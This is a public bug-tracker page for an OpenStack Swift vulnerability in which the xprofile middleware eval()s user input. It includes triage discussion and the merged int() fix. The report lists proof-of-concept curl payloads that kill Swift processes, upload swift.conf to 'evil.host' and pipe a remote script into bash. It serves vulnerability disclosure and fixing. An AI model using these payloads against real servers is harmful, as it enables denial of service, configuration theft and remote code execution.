Use of eval() on untrusted data

Bug #2091124 reported by Tim Burke
8
This bug affects 1 person
Affects Status Importance Assigned to Milestone
OpenStack Object Storage (swift)
In Progress
Critical
Unassigned
OpenStack Security Advisory
Won't Fix
Undecided
Unassigned

Bug Description

Swift's xprofile middleware runs eval() on untrusted, user-provided data. See https://opendev.org/openstack/swift/src/tag/2.34.0/swift/common/middleware/x_profile/html_viewer.py#L248

This can be used for all manner of bad things: denial of service, data/config/secret exfiltration, remote code execution...

Some examples of the bad things that can be done:

curl http://swift.host/__profile__ -d 'limit=os.kill(os.getpid(), 9)'
curl http://swift.host/__profile__ -d 'limit=os.kill(os.getppid(), 9), os.kill(os.getpid(), 9)'
curl http://swift.host/__profile__ -d 'limit=os.system("ps -u swift -o pid --no-headers | xargs kill -9")'
curl http://swift.host/__profile__ -d 'limit=os.system("curl -T /etc/swift/swift.conf http://evil.host")'
curl http://swift.host/__profile__ -d 'limit=os.system("curl http://evil.host | bash &")'

Affects swift>=2.0.0 (Juno and later). That is to say, all versions of Swift with the xprofile middleware.

Fix is simple: use int() instead of eval(). There's already sufficient error handling such that we'd instead respond with a 500 and a body like

  Error on render profiling results: invalid literal for int() with base 10: '...'

Further steps should be taken to
- document that xprofile is a development tool not intended for production,
- maybe even remove xprofile from future releases (as I'm not aware of any developers that regularly use it), and
- understand why this wasn't caught when we run bandit in the gate.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

Given that "xprofile is a development tool not intended for production" I'm inclined to consider this a match for class B3 in our taxonomy ("A vulnerability in experimental or debugging features not intended for production use"): https://security.openstack.org/vmt-process.html#report-taxonomy

If Swift folks and other VMT members agree with that assessment, we could just switch this to public and treat it as a normal bug with no need for a broadly-published security advisory.

description: updated
Changed in ossa:
status: New → Incomplete
Revision history for this message
clayg (clay-gerrard) wrote :

Yes! It would be great to make this issue public to raise awareness that xprofile should not be used in production systems and we can work on the fix and better docs and improvements to the bandit config using normal review workflows.

Good catch Tim!

Revision history for this message
Jay Faulkner (jason-oldos) wrote :

I think a B3 is reasonable, I might would suggest considering a C1 if we think it's possible that someone else might file a CVE just because it'll be a lot more sensible if we are the ones who file it if one gets made.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

I agree with classifying this as B3 and making the bug public. Tim posted an excellent list of Next Steps in the bug description, and my hope is that by opening the bug, there will be a greater likelihood that people will work on them.

Revision history for this message
Jeremy Stanley (fungi) wrote :

I've switched this to public since it's strictly a problem in a debugging tool and there didn't seem to be anyone arguing to keep it private. The VMT will treat it as a class B3 report for now and not expect to issue an advisory publication about it (hence my Won't Fix on the advisory task), but if anyone disagrees we can revisit that decision.

description: updated
information type: Private Security → Public
Changed in ossa:
status: Incomplete → Won't Fix
tags: added: security
Revision history for this message
Matthew Oliver (matt-0) wrote :

Yeah looking at the taxonomy's we use in openstack, yeah B3 is definitely the best fit in my opinion too.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (master)

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/swift/+/937493

Changed in swift:
status: New → In Progress
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/2024.2)

Fix proposed to branch: stable/2024.2
Review: https://review.opendev.org/c/openstack/swift/+/937507

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/2024.1)

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/swift/+/937508

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/2023.2)

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/swift/+/937509

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/2024.2)

Reviewed: https://review.opendev.org/c/openstack/swift/+/937507
Committed: https://opendev.org/openstack/swift/commit/cc891359c5b48f7332df194ed74c0455be797fd5
Submitter: "Zuul (22348)"
Branch: stable/2024.2

commit cc891359c5b48f7332df194ed74c0455be797fd5
Author: Tim Burke <email address hidden>
Date: Thu Dec 5 13:43:13 2024 -0800

    xprofile: Stop using eval()

    All we need is int(). Using eval() on user-provided data (or really at
    all) is a Bad Idea.

    Closes-Bug: #2091124
    Change-Id: I39bb87f9d8e27f2f88410a087a120a0e9be1a243
    (cherry picked from commit 199aa78fbe647f336fecf6d3b76d07964b841128)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/2024.1)

Reviewed: https://review.opendev.org/c/openstack/swift/+/937508
Committed: https://opendev.org/openstack/swift/commit/18b0df30b09edac73375121e478b20cd20708a85
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit 18b0df30b09edac73375121e478b20cd20708a85
Author: Tim Burke <email address hidden>
Date: Thu Dec 5 13:43:13 2024 -0800

    xprofile: Stop using eval()

    All we need is int(). Using eval() on user-provided data (or really at
    all) is a Bad Idea.

    Closes-Bug: #2091124
    Change-Id: I39bb87f9d8e27f2f88410a087a120a0e9be1a243
    (cherry picked from commit 199aa78fbe647f336fecf6d3b76d07964b841128)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/2023.2)

Reviewed: https://review.opendev.org/c/openstack/swift/+/937509
Committed: https://opendev.org/openstack/swift/commit/0236ddaef322ef371a3218aacef2026bbaf98ea9
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 0236ddaef322ef371a3218aacef2026bbaf98ea9
Author: Tim Burke <email address hidden>
Date: Thu Dec 5 13:43:13 2024 -0800

    xprofile: Stop using eval()

    All we need is int(). Using eval() on user-provided data (or really at
    all) is a Bad Idea.

    Closes-Bug: #2091124
    Change-Id: I39bb87f9d8e27f2f88410a087a120a0e9be1a243
    (cherry picked from commit 199aa78fbe647f336fecf6d3b76d07964b841128)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (feature/mpu)

Fix proposed to branch: feature/mpu
Review: https://review.opendev.org/c/openstack/swift/+/938431

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (feature/mpu)
Download full text (9.6 KiB)

Reviewed: https://review.opendev.org/c/openstack/swift/+/938431
Committed: https://opendev.org/openstack/swift/commit/8836d81f9600d085e2c0a500c05be2eb4dee853c
Submitter: "Zuul (22348)"
Branch: feature/mpu

commit 1f0777d96c8074290bd8572635fb576931fe0a53
Author: Tim Burke <email address hidden>
Date: Mon Dec 30 17:00:05 2024 -0800

    tests: Enforce sorted listdir results in test_updater

    Previously, we were relying on some xfs-specific return order.

    Change-Id: If9a0fdb3749a18a9479f20fb174e0c1908a783bb

commit 1f35e0c10f5044150f9c2e685e7de43b0ad85807
Author: Tim Burke <email address hidden>
Date: Sun Dec 29 09:27:11 2024 -0800

    CI: Add Dalmatian upgrade job

    Change-Id: Ia028624bded221c3bf03a8d3dac94183d4388431

commit 3c9838101a1ae847d637f7f3f6720825c3d6d1d5
Author: Elod Illes <email address hidden>
Date: Sun Dec 22 11:59:14 2024 +0100

    [CI] Remove old experimental rolling upgrade job

    This patch removes swift-multinode-rolling-upgrade-victoria job for
    multiple reason:
    - victoria is very old and unmaintained
    - job is defined only on unmaintained branches
    - py38 + CentOS Stream 8 are EOL'd and the job is based on these

    Change-Id: I3d6a679e6553534e937303b5210125a6ef8365af

commit 7367907c58933944aaed52f0659be6203791a047
Author: Tim Burke <email address hidden>
Date: Wed Aug 17 23:09:27 2022 -0700

    Drop py2 support

    * Remove py2 gate jobs.
    * Build non-universal, py3-only wheels.
    * Specify minimum python version in package metadata.
    * Clean up requirements/constraints/bindep (a little, anyway).

    Change-Id: I53153c4fde043e964e1daa7bbf2089e0471dede2

commit 17f77b2d764985e0acd5d7d63c2042fbc40f636b
Author: ngcjny <email address hidden>
Date: Fri Dec 20 17:27:19 2024 +0900

    docs: Changed OS version to RHEL 9 and CentOS Stream 9.

    Changed OS version from RHEL 7 and CentOS 7 to RHEL 9 and
    CentOS Stream 9.
    Changed python to python3.
    Changed yum command to dnf command.

    Change-Id: Ie1e815c0434255e77ef5e9103576f85d9d6490ae

commit fbfdc89df52c092853b1685e1ab30a852509d7d1
Author: Chinemerem <email address hidden>
Date: Fri Dec 13 12:19:25 2024 -0800

    Require that updater_workers be a postive integer

    Previously, it was possible for updater_workers to be a negative integer
    or zero. This change enforces that updater_workers should be a positive
    integer.

    Change-Id: Ie40194b406aeedcf8c38a3c273ab768e2b643a5d

commit 5281af5cf25f1a88b23441d1c45f0d86735395db
Author: Chinemerem <email address hidden>
Date: Thu Dec 12 06:54:58 2024 -0800

    Add object_updater_last stat

    Change-Id: I22674f2e887bdeeffe325efd2898fb90faa4235f

commit 4b3696003c6f700794fdde25d1839ce6e441cb90
Author: Tim Burke <email address hidden>
Date: Thu Dec 19 09:33:33 2024 -0800

    trivial: Enable a couple off-by-default hacking checks

    H106 and H904 were already passing anyway.

    Change-Id: Ic386e09e40a49b661f30ea40e2c737d59100d086

commit af57922cd8b30cdb333d536f0506c673b591c069
Author: Chinemerem <email address hidden>
Date: Fri Dec 6 09:01:34 2024 -0800

    Aggregate per-disk recon stats

 ...

Read more...

tags: added: in-feature-mpu
To post a comment you must log in.
This report contains Public information  
Everyone can see this information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.